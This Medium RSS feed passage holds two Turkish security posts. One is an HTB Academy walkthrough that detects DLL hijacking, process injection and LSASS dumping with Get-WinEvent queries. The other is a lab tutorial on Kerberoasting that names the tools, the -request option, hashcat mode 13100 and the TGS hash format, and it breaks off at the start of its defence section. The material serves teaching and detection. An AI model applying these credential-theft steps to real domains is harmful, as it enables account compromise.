<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by eysa on Medium]]></title>
        <description><![CDATA[Stories by eysa on Medium]]></description>
        <link>https://medium.com/@eysadilbercakil?source=rss-5474899d8570------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gu1jZbo9jrOYIf96KUPgtA.jpeg</url>
            <title>Stories by eysa on Medium</title>
            <link>https://medium.com/@eysadilbercakil?source=rss-5474899d8570------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 10:49:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@eysadilbercakil/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB Academy Windows Event Logs & Finding Evil Skill Assesment Walkthrough]]></title>
            <link>https://medium.com/@eysadilbercakil/htb-academy-windows-event-logs-finding-evil-skill-assesment-walkthrough-ad11d453425a?source=rss-5474899d8570------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad11d453425a</guid>
            <category><![CDATA[suspicious-logon-activity]]></category>
            <category><![CDATA[dll-hijacking]]></category>
            <category><![CDATA[strange-parent-child-rel]]></category>
            <category><![CDATA[detecting-lsass-dump]]></category>
            <category><![CDATA[process-injection]]></category>
            <dc:creator><![CDATA[eysa]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 06:01:02 GMT</pubDate>
            <atom:updated>2026-04-02T06:01:02.106Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*Sr6VZydpjuyOk6Kc.png" /></figure><p><em>Bu yazıda, Hack The Box Academy platformunda yer alan Windows Event Logs &amp; Finding Evil modülünün Skill Assessment bölümündeki sorular çözülecektir. Çalışma kapsamında, Windows event logları </em><strong><em>Get-WinEvent</em></strong><em> aracı kullanılarak analiz edilmiş ve sistemde gerçekleşen farklı saldırı tekniklerinin nasıl tespit edilebileceği incelenmiştir. Bu analizlerde özellikle </em><strong><em>DLL hijacking, process injection, LSASS credential dumping, unmanaged PowerShell execution ve şüpheli parent-child process ilişkileri</em></strong><em> gibi saldırı davranışlarına odaklanılmıştır.</em></p><h3>Q1: Detecting DLL Hijack</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kK627gv0UALpbc6SXjqdBQ.png" /></figure><h4>DLL Hijacking Nedir?</h4><p>DLL hijacking, bir uygulamanın yüklemesi beklenen bir DLL yerine, saldırgan tarafından yerleştirilmiş bir DLL’in yüklenmesi durumudur. Bu durum genellikle Windows’un DLL arama sırası (DLL search order) mekanizmasının kötüye kullanılmasıyla ortaya çıkar.</p><p>Bu senaryoda analiz edilecek loglar C:\Logs\DLLHijack dizininde yer almaktadır. İlgili DLLHijack.evtx dosyası çift tıklanarak Event Viewer üzerinden açılabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HFDWeqoHzpdfBsaWndWb8w.png" /></figure><p>Ancak Event Viewer üzerinde manuel filtreleme ile Event ID 7 kayıtlarının doğrudan görüntülenemediği görülmektedir. Bu durum, Sysmon’un ImageLoad (Event ID 7) event’lerini kullanıcı modunda yapılandırılmış filtreleme kurallarına göre bastırabilmesine karşın, Get-WinEvent aracının .evtx dosyasını düşük seviyede ham event kayıtları üzerinden parse ederek bu filtrelenmiş kayıtları da ortaya çıkarabilmesi ile ilişkilidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ODPItgG4UVBb0ntacxdbwA.png" /></figure><p>Bu nedenle analiz, daha esnek ve güçlü bir yöntem sunan PowerShell üzerindeki <strong>Get-WinEvent</strong> aracı kullanılarak gerçekleştirilmiştir.</p><h4>Veri Kaynağı ve Erişim</h4><p>Analiz, Sysmon tarafından üretilen Event ID 7 (Image Loaded) kayıtları üzerinden gerçekleştirilmiştir. Bu event, bir process tarafından yüklenen tüm DLL’leri içerir ve DLL hijacking gibi senaryolarda doğrudan kullanılabilir bir veri kaynağı sağlar.</p><p>İlgili loglar aşağıdaki komut ile doğrudan okunabilir:</p><pre>Get-WinEvent -FilterHashtable @{<br>    Path=&quot;C:\Logs\DLLHijack\DLLHijack.evtx&quot;<br>    LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;<br>    ID=7<br>}</pre><p>Bu aşamada yalnızca veri elde edilmekte olup, henüz filtreleme uygulanmamaktadır. Dolayısıyla oldukça uzun bir çıktıyla karşı karşıya kalabilirsiniz:)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*zddYsuzoK4xdSvUk8nvyLA.png" /></figure><h4>Event Yapısının İncelenmesi</h4><p>Sysmon Event ID 7 içerisinde analiz için kritik olan alanlar şunlardır:</p><ul><li>Process path (Image)</li><li>DLL path (ImageLoaded)</li><li>Signature durumu (Signed)</li></ul><p>Bu alanlara erişim, Properties[index] yapısı ile sağlanmaktadır. İlgili index’lerin doğrulanması için aşağıdaki komut kullanılabilir:</p><pre>Get-WinEvent -FilterHashtable @{<br>    Path=&quot;C:\Logs\DLLHijack\DLLHijack.evtx&quot;<br>    ID=7<br>} | Select-Object -First 1 |<br>ForEach-Object {<br>    $_.Properties<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*93VB2uskVA_J7TeZovN9Xw.png" /></figure><p>Bu çıktı, .evtx dosyasında tutulan ham event verisinin Properties dizisi içerisinde indekslenmiş şekilde nasıl saklandığını göstermektedir. Bu sayede her bir alanın hangi index’e karşılık geldiği belirlenerek, analiz sırasında ihtiyaç duyulan veriler doğru ve tutarlı biçimde çıkarılabilir.</p><h4>Şüpheli Davranışın Tanımlanması</h4><p>Normal koşullarda sistem DLL’leri çoğunlukla C:\Windows\System32 dizininden yüklenir. Bu nedenle aşağıdaki durumlar şüpheli kabul edilir:</p><ul><li>DLL’in farklı bir dizinden yüklenmesi</li><li>DLL’in dijital imzasının bulunmaması (Signed = false)</li></ul><p>Bu kriterlere göre 6. ve 12. indexler filtrelenmelidir:</p><pre>Get-WinEvent -FilterHashtable @{<br>    Path=&quot;C:\Logs\DLLHijack\DLLHijack.evtx&quot;<br>    LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;<br>    ID=7<br>} |<br>Where-Object {<br>    $_.Properties[6].Value -notlike &quot;C:\Windows\System32*&quot; -and<br>    $_.Properties[12].Value -eq &quot;false&quot;<br>}</pre><p>Bu işlem sonucunda yalnızca potansiyel olarak şüpheli olaylar elde edilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*sPt7oTFsp3htayXZvyRVSA.png" /></figure><h4>İlgili Process’in Belirlenmesi</h4><p>Filtrelenen event’lerde process bilgisi Properties[4] alanında yer almaktadır. Soruda istenen format doğrultusunda yalnızca process adı (.exe) elde edilmiştir:</p><pre>Get-WinEvent -FilterHashtable @{<br>    Path=&quot;C:\Logs\DLLHijack\DLLHijack.evtx&quot;<br>    LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;<br>    ID=7<br>} |<br>Where-Object {<br>    $_.Properties[6].Value -notlike &quot;C:\Windows\System32*&quot; -and<br>    $_.Properties[12].Value -eq &quot;false&quot;<br>} |<br>Select-Object @{<br>    Name=&quot;Process&quot;;<br>    Expression={[System.IO.Path]::GetFileName($_.Properties[4].Value)}<br>}<br></pre><p>Bu komut çıktısı, DLL hijacking davranışını gerçekleştiren process’i doğrudan göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*Nuq60Kv5Vk5leCR14Fwd3g.png" /></figure><p>Get-WinEvent aracı kullanılarak offline EVTX logları üzerinden DLL hijacking tespiti yapılabileceği gösterilmiştir. Analiz süreci, doğru event seçimi, alanların doğru yorumlanması ve uygun filtreleme yaklaşımı üzerine kuruludur. Bu yöntem, SIEM bulunmayan ortamlarda dahi etkili bir inceleme imkânı sunmaktadır.</p><h3>Q2: Detecting Unmanaged PowerShell Execution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6cohSc-cR6YMV7obFeQvwg.png" /></figure><h4>Unmanaged PowerShell Execution Nedir?</h4><p>Unmanaged PowerShell execution, PowerShell kodunun doğrudan powershell.exe süreci yerine başka bir process içerisine enjekte edilerek çalıştırılmasıdır. Bu teknik, saldırganlar tarafından savunma mekanizmalarını atlatmak amacıyla sıkça kullanılır.</p><p>Bu durumda PowerShell çalışıyor olsa bile, görünürde powershell.exe yerine farklı bir process aktif olacaktır.</p><h4>Veri Kaynağı ve Şüpheli Davranışın Tanımlanması</h4><p>Bu senaryoda analiz, Sysmon Event ID 7 (Image Loaded) kayıtları üzerinden gerçekleştirilmiştir.</p><p>Amaç, hangi process’in hangi DLL’leri yüklediğini görmek ve özellikle .NET bileşenlerini (clr.dll, clrjit.dll) kullanan process’leri tespit etmektir.</p><p>Event içerisindeki alanların hangi index’te tutulduğunu görmek için aşağıdaki komut kullanılmıştır:</p><pre>Get-WinEvent -FilterHashtable @{  <br>    Path= &quot;C:\Logs\PowershellExec\PowershellExec.evtx&quot;  <br>    ID=7  <br>} | Select-Object -First 1 |  <br>ForEach-Object {  <br>    $_.Properties  <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*d9x30ZHx8i-xD-HQDj78VQ.png" /></figure><p>Bu çıktı sayesinde:<br>- Properties[4] → Process path<br>- Properties[5] → Loaded DLL<br>alanlarının filtreleme için kullanılacağı belirlenmiştir.</p><h4>Şüpheli Davranışın Filtrelenmesi ve Belirlenmesi</h4><p>Unmanaged PowerShell tespiti için, .NET runtime yükleyen process’lerin filtrelenmesi gerekmektedir. Bu doğrultuda aşağıdaki filtre uygulanmıştır:</p><pre> Get-WinEvent -FilterHashtable @{<br>     Path=&quot;C:\Logs\PowershellExec\PowershellExec.evtx&quot;<br>     LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;<br>     ID=7<br> } |<br> Where-Object {<br>     $_.Properties[4].Value -notlike &quot;*powershell.exe&quot; -and<br>     $_.Properties[5].Value -match &quot;clr&quot;<br> } |<br> Select-Object -First 1 |<br> ForEach-Object {<br>   $_.Properties[4].Value<br> }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*pkHll2h0L1fKH1fvZXzhwA.png" /></figure><p>Elde edilen çıktılar incelendiğinde, normalde PowerShell çalıştırmaması gereken bir process içerisinde .NET bileşenlerinin yüklendiği görülmektedir.</p><h3>Q3: Detecting Process Injection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*18Wu98P8LWSdHYLwZnEZXA.png" /></figure><p>Bu soruda amaç, bir önceki soruda tespit edilen calculator.exe process’ine injection gerçekleştiren process’i belirlemektir.</p><h4>Şüpheli Davranışın Tanımlanması</h4><p>Process injection tespiti için <strong>Sysmon Event ID 8</strong> kullanılır.</p><p>Event ID 8, bir process’in başka bir process içerisine thread oluşturduğunu gösterir. Bu davranış, özellikle process injection tekniklerinin en yaygın göstergelerinden biridir.</p><p>Bu nedenle, bir process’in başka bir process üzerinde kod çalıştırıp çalıştırmadığını anlamak için doğrudan bu event incelenmelidir.</p><p>Event yapısındaki index’leri görmek için aşağıdaki komut kullanılmıştır:</p><pre>Get-WinEvent -FilterHashtable @{  <br>    Path= &quot;C:\Logs\PowershellExec\PowershellExec.evtx&quot;  <br>    ID=8  <br>} | Select-Object -First 1 |  <br>ForEach-Object {  <br>    $_.Properties  <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*CcMzMeI-QTKK45rJgyNMjQ.png" /></figure><p>Bu çıktı ile kritik alanlar belirlenmiştir:</p><ul><li>Properties[4] → SourceImage (inject eden process)</li><li>Properties[5] → TargetImage (inject edilen process)</li></ul><h4>Şüpheli Davranışın Filtrelenmesi ve Belirlenmesi</h4><p>Bir önceki soruda hedef process olarak **********.exe tespit edildiği için, bu process’e yönelik injection event’leri filtrelenmiştir.</p><pre>Get-WinEvent -FilterHashtable @{<br>  Path=&quot;C:\Logs\PowershellExec\PowershellExec.evtx&quot;<br>  LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;<br>  ID=8<br>  } |<br>  Where-Object {<br>    $_.Properties[5].Value -like &quot;*[answerofq2].exe&quot;<br>  }|<br>  Select-Object -First 1|<br>  ForEach-Object {<br>     $_.Properties[4].Value<br>  }</pre><p>Bu filtreleme sonucunda yalnızca **********.exe process’ine yapılan injection işlemleri elde edilmiştir.</p><p>Elde edilen event’lerde:<br>- [5] Target → **********.exe<br>- [4] Source → injection yapan process (cevap)<br>olarak görülmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*Kh_WMYsDpP4bSvOw65N6kw.png" /></figure><p>Bu sayede, unmanaged PowerShell çalıştırma sürecini başlatan asıl process doğrudan tespit edilebilir.</p><h3>Q4: Detecting LSASS Dump</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*sm_pQ6358kO8Haf1ZWLwsw.png" /></figure><h4>Lsass Dump Nedir?</h4><p>LSASS (Local Security Authority Subsystem Service), Windows sistemlerde kullanıcı kimlik doğrulama bilgilerini bellekte tutan kritik bir süreçtir. Bu sürecin dump edilmesi, saldırganların parola hash’leri ve kimlik bilgilerini elde etmesine olanak sağlar.<br>Bu nedenle LSASS dump aktiviteleri, credential access (MITRE ATT&amp;CK T1003) kapsamında yüksek öneme sahip bir saldırı göstergesidir.</p><h4>Veri Kaynağı ve Şüpheli Davranışın Tanımlanması</h4><p>Bu senaryoda analiz, Sysmon Event ID 10 (Process Access) kayıtları üzerinden gerçekleştirilmiştir.</p><p>Event ID 10, bir process’in başka bir process’e erişim talebinde bulunduğunu gösterir. LSASS dump işlemleri sırasında, saldırgan araçlar LSASS sürecine yüksek yetkilerle erişmeye çalışır.</p><p>Event içerisindeki alanların index karşılıklarını görmek için aşağıdaki komut kullanılmıştır:</p><pre>Get-WinEvent -FilterHashtable @{  <br>    Path= &quot;C:\Logs\Dump\*.evtx&quot;  <br>    ID=10  <br>} | Select-Object -First 1 |  <br>ForEach-Object {  <br>    $_.Properties  <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*8CnTVBXULCdTeuXbJ6RagQ.png" /></figure><p>Bu çıktı ile kritik alanlar belirlenmiştir:</p><ul><li>Properties[5] → SourceImage (erişim yapan process / cevap olacak)</li><li>Properties[8] → TargetImage (erişilen process / lsass.exe olmalı)</li></ul><h4>Şüpheli Davranışın Filtrelenmesi ve Belirlenmesi</h4><p>LSASS dump tespiti için, hedef process olarak lsass.exe seçilmiş ve bu sürece erişen process’ler filtrelenmiştir.</p><pre>Get-WinEvent -FilterHashtable @{<br>  Path=&quot;C:\Logs\Dump\*.evtx&quot;<br>  LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;<br>  ID=10<br>  } |<br>  Where-Object {<br>    $_.Properties[8].Value -like &quot;*lsass*&quot; -and<br>    $_.Properties[5].Value -like &quot;*.exe&quot;<br>  }|<br>  Select-Object -First 10 |<br>  ForEach-Object {<br>      $_.Properties[5].Value<br>  }| <br>  Sort-Object -Unique</pre><p>Bu filtreleme sonucunda, LSASS sürecine erişim sağlayan process aşağıdaki gibi tespit edilmiştir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*-8yCQcCXGWnQ4S3taAFafg.png" /></figure><h3>Q5: Detecting Suspicious Logon Activity</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*g4gC9lcc2QIeor5zCfzgMA.png" /></figure><p>Bu soruda amaç, bir önceki adımda tespit edilen LSASS dump işleminin ardından sistemde şüpheli (ill-intended) bir login gerçekleşip gerçekleşmediğini belirlemektir.</p><p>Analiz yaklaşımı iki adımdan oluşmaktadır:</p><ol><li>LSASS dump zamanının belirlenmesi</li><li>Bu zamandan sonra gerçekleşen logon event’lerinin incelenmesi</li></ol><h4>LSASS Dump Zamanının Belirlenmesi</h4><p>Öncelikle, bir önceki soruda tespit edilen LSASS erişim event’lerinin zaman bilgisi çıkarılmıştır.</p><pre>Get-WinEvent -FilterHashtable @{<br>Path=&quot;C:\Logs\Dump\*.evtx&quot;<br>LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;<br>ID=10<br>} |<br>Where-Object {<br>$_.Properties[8].Value -like &quot;*lsass*&quot; -and<br>$_.Properties[5].Value -like &quot;*.exe&quot;<br>}|<br>Select-Object -First 10 |<br>ForEach-Object {<br>    $_.Properties[1].Value<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*KkrTZoa8Gq8zLcX3xqb6MQ.png" /></figure><p>Bu çıktı incelendiğinde LSASS dump işleminin yaklaşık olarak:</p><p><strong>2022–04–28 02:08:56–02:09:45</strong></p><p>zaman aralığında gerçekleştiği görülmektedir.</p><h4>Logon Event’lerinin İncelenmesi</h4><p>Windows Security logları içerisindeki <strong>Event ID 4624 (Successful Logon)</strong> event’leri filtrelenerek başarılı logon tarihleri incelenmiştir.</p><pre>Get-WinEvent -FilterHashtable @{<br>Path=&quot;C:\Logs\Dump\*.evtx&quot;<br>ID=4624<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*Y9yIIR_CNQUH4vV-ZNy2Tg.png" /></figure><p>Event zamanları karşılaştırıldığında:</p><ul><li>LSASS dump → <strong>2022–04–28 02:08:56 sonrası</strong></li><li>Logon event’leri → <strong>2022–04–27 tarihine ait</strong></li></ul><p>görülmektedir.</p><p>Bu durum, LSASS dump işleminden sonra herhangi bir yeni login gerçekleşmediğini göstermektedir.</p><h3>Q6: Detecting Strange Parent-Child Relationship</h3><h4>Strange PPID Nedir?</h4><p>Strange parent-child relationship (anormal ebeveyn-çocuk ilişkisi), bir process’in normalde beklenmeyen bir parent process tarafından başlatılması durumudur.</p><p>Windows sistemlerde çoğu process belirli bir zincir içerisinde çalışır. Örneğin:</p><ul><li>explorer.exe → cmd.exe (normal)</li><li>cmd.exe → whoami.exe (beklenen kullanım)</li></ul><p>Ancak bazı durumlarda saldırganlar, kısa süreli kod çalıştırmak için farklı process’ler üzerinden zincir oluşturur. Bu da anormal parent-child ilişkileri ile kendini gösterir.</p><h4>Veri Kaynağı ve Şüpheli Davranışın Tanımlanması</h4><p>Bu senaryoda analiz, Sysmon Event ID 1 (Process Create) kayıtları üzerinden gerçekleştirilmiştir.</p><p>Event ID 1, bir process’in hangi parent process tarafından başlatıldığını gösterir ve bu tür anormallikleri tespit etmek için doğrudan kullanılabilir.</p><p>Event yapısını ve index karşılıklarını incelemek için aşağıdaki komut kullanılmıştır:</p><pre>Get-WinEvent -FilterHashtable @{<br>Path=&quot;C:\Logs\StrangePPID\StrangePPID.evtx&quot;<br>ID=1<br>} | Select-Object -First 1 |<br>ForEach-Object {<br>$_.Properties<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*c4MiFj74w_ceRyFzElHThw.png" /></figure><p>Bu çıktı incelendiğinde kritik alanlar belirlenmiştir:</p><ul><li>Properties[4] → Image (oluşturulan process)</li><li>Properties[19] → ParentImage (parent process)</li><li>Properties[20] → CommandLine</li></ul><h4>Şüpheli Davranışın Filtrelenmesi ve Belirlenmesi</h4><p>Parent-child ilişkilerini görebilmek için, process, parent process ve command line bilgileri birlikte tek satırda filtrelenmiş ve analiz edilmiştir.</p><pre>Get-WinEvent -FilterHashtable @{<br>Path=&quot;C:\Logs\StrangePPID\StrangePPID.evtx&quot;<br>ID=1<br>} |<br>ForEach-Object {<br>    &quot;$($_.Properties[19].Value) ---&gt; $($_.Properties[4].Value) ::: $($_.Properties[20].Value)&quot;<br>} | Sort-Object -Unique</pre><p>Bu çıktı, process ilişkilerini aşağıdaki formatta göstermektedir:</p><p><strong>ParentProcessId — -&gt; Process ::: CommandLine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*m8U8uJd_7lR6fdauyr3nbA.png" /></figure><p>Elde edilen çıktılar incelendiğinde alt satırdaki ilişki dikkat çekmektedir. Normal koşullarda WerFault.exe (Windows Error Reporting), yalnızca hata raporlama işlemleri için kullanılır ve komut satırı başlatması beklenmez.</p><p>Ancak burada WerFault.exe tarafından cmd.exe sürecinin başlatıldığı görülmektedir. Bu durum, process’in amacının dışında kullanıldığını ve geçici olarak kod çalıştırmak için abuse edildiğini göstermektedir.</p><p>Bu tür kullanım senaryoları, saldırganların meşru Windows binary’lerini kullanarak izlerini gizlemeye çalıştığı <strong>LOLBins (Living-off-the-Land Binaries)</strong> teknikleri ile ilişkilidir.</p><p>Eğer bu içerik işinize yaradıysa aşağıdaki 👏 butonu ile teşekkür edebilirsiniz.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad11d453425a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberoasting Saldırısı]]></title>
            <link>https://medium.com/@eysadilbercakil/kerberoasting-sald%C4%B1r%C4%B1s%C4%B1-b7b9a4de0bab?source=rss-5474899d8570------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7b9a4de0bab</guid>
            <category><![CDATA[spn]]></category>
            <category><![CDATA[tg]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[kerberos]]></category>
            <dc:creator><![CDATA[eysa]]></dc:creator>
            <pubDate>Wed, 28 May 2025 09:02:31 GMT</pubDate>
            <atom:updated>2025-05-28T09:02:31.501Z</atom:updated>
            <content:encoded><![CDATA[<p>Kerberoasting, Active Directory ortamlarında düşük yetkili bir kullanıcının, servis hesabına atanmış <strong>SPN (Service Principal Name)</strong> üzerinden TGS biletini alıp, offline ortamda bu bileti brute-force ile kırarak hedef hesabın düz metin parolasını elde ettiği bir saldırı tekniğidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*XkRxUKcZku9Ps_apE-GTog.png" /></figure><p><em>Önceki yazılarımda bir AD Lab ortamının kurulması ve zafiyetli hale getirilme sürecinden bahsetmiştim. Şimdi bu laboratuvar ortamında Kerberoasting Saldırısı nasıl gerçekleştirilir ve nasıl önlem alınır bunlardan bahsedeceğim.</em></p><h3><strong>SPN Nedir?</strong></h3><p>Service Principal Name (SPN), AD’deki bir servisi temsil eden benzersiz tanımlayıcıdır. Örneğin bir SQL Server servisi, bir servis hesabı ile ilişkilendirilmişse SPN şöyle görünür: MSSQLSvc/sqlserver.domain.local:1433. SPN’ler, Kerberos bileti istenirken kullanılır ve bu bilet içerisinde hedef hesabın <strong>RC4 ile şifrelenmiş parolası</strong> yer alır. İşte bu noktada zafiyet doğar: Bu biletler saldırgan tarafından brute-force saldırısıyla kırılabilir ve düz metin parola elde edilebilir.</p><p>Yani bir servis hesabına ait SPN varsa ve bu hesap zayıf bir parola kullanıyorsa, o zaman bu hesabın parolası yalnızca domain içindeki herhangi bir kullanıcı tarafından <strong>offline brute-force</strong> ile kırılabilir. Bu da sistemde yatay hareket (lateral movement) veya yetki yükseltme (privilege escalation) için ciddi bir açıklık yaratır.</p><h4>Lab Ortamında SPN’li Kullanıcı Oluşturma</h4><p>Kerberoasting saldırısının temelinde, bir kullanıcıya atanmış bir SPN (Service Principal Name) olması yatar. Çünkü bu SPN, Kerberos Ticket Granting Service (TGS) bileti oluşturulmasını tetikler ve bu bilet hedef hesabın parolasıyla RC4-HMAC algoritmasıyla şifrelenmiş olur. Bu yüzden test ortamında bu atağı gerçekeleştirebilmek için SPN’li bir kullanıcı oluşturmalıyız.</p><p>Domain Controller’da aşağıdaki adımları izleyerek ADUC üzerinden önce Advanced Features’ı açalım ve bir user oluşturalım. Benim user’ımın namei svc-sql ve şifresi P@ssw0rd123 olacak:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*7cN41JZGDvJ23MTRglssCg.png" /></figure><p>Ardından oluşturduğumuz user’a sağ tıklayıp Properties penceresine geldiğimizde aşağıdaki adımlarla SPN atayalım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*zjUEflL82tOEYm5NjFXV-w.png" /></figure><h3>TGS (Ticket Granting Service) Bileti Nedir?</h3><p>Kerberos kimlik doğrulama protokolü, istemcinin bir servise erişmeden önce bazı biletleri (ticket) alması esasına dayanır. Bu sistemde iki temel bilet vardır:<br><strong>TGT (Ticket Granting Ticket):</strong> Kullanıcı domain’e ilk giriş yaptığında aldığı bilettir.<br><strong>TGS (Ticket Granting Service Ticket):</strong> Kullanıcı bir servise erişmek istediğinde, TGT ile birlikte talep ederek aldığı bilettir.</p><h4>Kerberoasting için TGS Neden Kritik?</h4><p>SPN’li bir kullanıcıya ait servise erişim istendiğinde, <strong>TGS bileti</strong> oluşturulur. Bu biletin içinde hedef servis hesabının kullanıcı adı, SPN bilgisi ve servis hesabının parolası ile RC4-HMAC algoritmasıyla şifrelenmiş bir bölüm bulunur.</p><p>Saldırgan, bu bileti çevrimdışı olarak brute-force ile çözmeye çalışır. Şifreyi çözerse, hedef hesabın düz metin parolasını öğrenmiş olur.</p><h3>Adım Adım Kerberoasting Saldırısı</h3><h4><strong>Adım 1. SPN’leri Listelemek</strong></h4><p>Düşük ayrıcalıklı herhangi bir domain kullanıcısı ile domain’e oturum açıldığında, SPN’lere atanmış servis hesapları Impacket veya Rubeus gibi araçlarla listelenebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SypZwHhV61tbXCtN1wbx-w.png" /></figure><p>Bu komut sonucunda TGS bileti talep edilen SPN’ler listelenir ve her biri şifrelenmiş bir Kerberos bileti ile birlikte gelir. Bu bilet, hedef hesabın şifresini içerir ve kırılabilir.</p><p>-request parametresi, sadece SPN’leri listelemekle kalmaz, aynı zamanda her SPN için TGS biletini de getirir.</p><p><strong>Elde Edilen Biletin Formatı</strong></p><p>Genel itibariyle elde edilen Kerberos TGS hash’i şu formattadır:</p><pre>$krb5tgs$23$*svc-sql$ADLAB.LOCAL$MSSQLSvc/sqlserver.adlab.local:1433*$long_hash_data</pre><p>$krb5tgs$Hash türünü; Kerberos TGS bileti olduğunu,<br>23Şifreleme türünü; (<strong>Encryption Type – etype</strong>) → RC4-HMAC olduğunu,<br>svc-sqlHedef SPN’e sahip servis hesabının kullanıcı adı olduğunu,<br>ADLAB.LOCALDomain ismini,<br>MSSQLSvc/sqlserver...SPN Hangi servis üzerinden talep edildiği,<br>$long_hash_dataŞifreli veriyi brute-force edilmesi gereken asıl kısımı belirtir.</p><p>Ayrıca şifreleme türlerinden 23 → RC4-HMAC eski ve zayıf bir algoritmadır, 17 → AES128-CTS-HMAC-SHA1 ve 18 → AES256-CTS-HMAC-SHA1 türlerini ifade eder.</p><p>Kerberoasting saldırısının mümkün olması, büyük ölçüde <strong>RC4-HMAC algoritmasının zayıflığına</strong> dayanır. Bu algoritma, servis hesabının parolasını doğrudan anahtar olarak kullandığı için, brute-force veya wordlist saldırılarıyla kırılması görece kolaydır. Dolayısıyla 23 önemli bir sayıdır:).</p><h4><strong>Adım 2. Hash’i Kırmak</strong></h4><p>GetUserSPNs.py komutu çalıştırıldığında elde edilen hashcat formatındaki Kerberos biletleri, hashcat veya john gibi araçlarla brute-force edilerek kırılabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aqmsJsERkAKpfPfcjdkFNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GFq1rnzzvl8-V4sVH9WEqA.png" /></figure><p><em>-m 13100</em> ifadesi hashcatin farklı hash türlerini tanımak için <strong>mod numaraları</strong> kullanmasından geliyor. Kerberos TGS hash’leri için bu numara 13100 olarak belirlenmiştir. Diğer modlar için <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">tıklayabilirsiniz</a>.</p><h4><strong>Adım 3. Erişim Sağlamak</strong></h4><p>Elde edilen şifre, crackmapexec veya wmiexec.py gibi araçlarla test edilerek sistemde geçerli olup olmadığı doğrulanabilir. Eğer kullanıcı yüksek ayrıcalıklı bir hesapsa (örn Domain Admin), buradan sonra sistemde tam kontrol elde edilebilir.</p><p>Öncelikle elde ettiğiniz şifre ile hedef sisteme evil-winrm ile bağlantı kurmayı deneyelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8nkydZcx20CKTlHRw0pRgQ.png" /></figure><p>Ekran görüntüsünde görüldüğü üzere bu hesap <strong>WinRM erişim yetkisine sahip değil </strong>bu yüzdenevil-winrm aracı ile bağlantı sağlanamadı. Ele geçirilen her hesabın yetkileri analiz edilebilir BloodHound ile lateral movement yolları araştırılarak ilerleme sağlanabilir.</p><h3>Kerberoasting Saldırılarına Karşı Savunma Yöntemleri</h3><p>Kerberoasting bir saldırıdan çok, zayıf parola güvenliği ve kötü yapılandırılmış Service Principal Name (SPN) değerlerinin istismar edilmesiyle gerçekleştirilen bir saldırı tekniğidir. Bu saldırının temelinde; Active Directory’de servis hesaplarının zayıf parola güvenliği ve RC4-HMAC gibi eski şifreleme algoritmalarının hala aktif olarak kullanılması bulunmaktadır. Kerberoasting, servis hesaplarına ait Kerberos biletlerinin (TGS) pasif olarak toplanması, çevrimdışı parola kırma saldırıları ile elde edilen parola sayesindesistemde tespit edilmeden ayrıcalıklı hesaba erişim elde edilmesidir. Peki bu saldırı vektörüne karşı sistemleri nasıl güvenli hâle getirebiliriz?</p><h4>1. Servis Hesapları ve SPN’ler Güvenli Hale 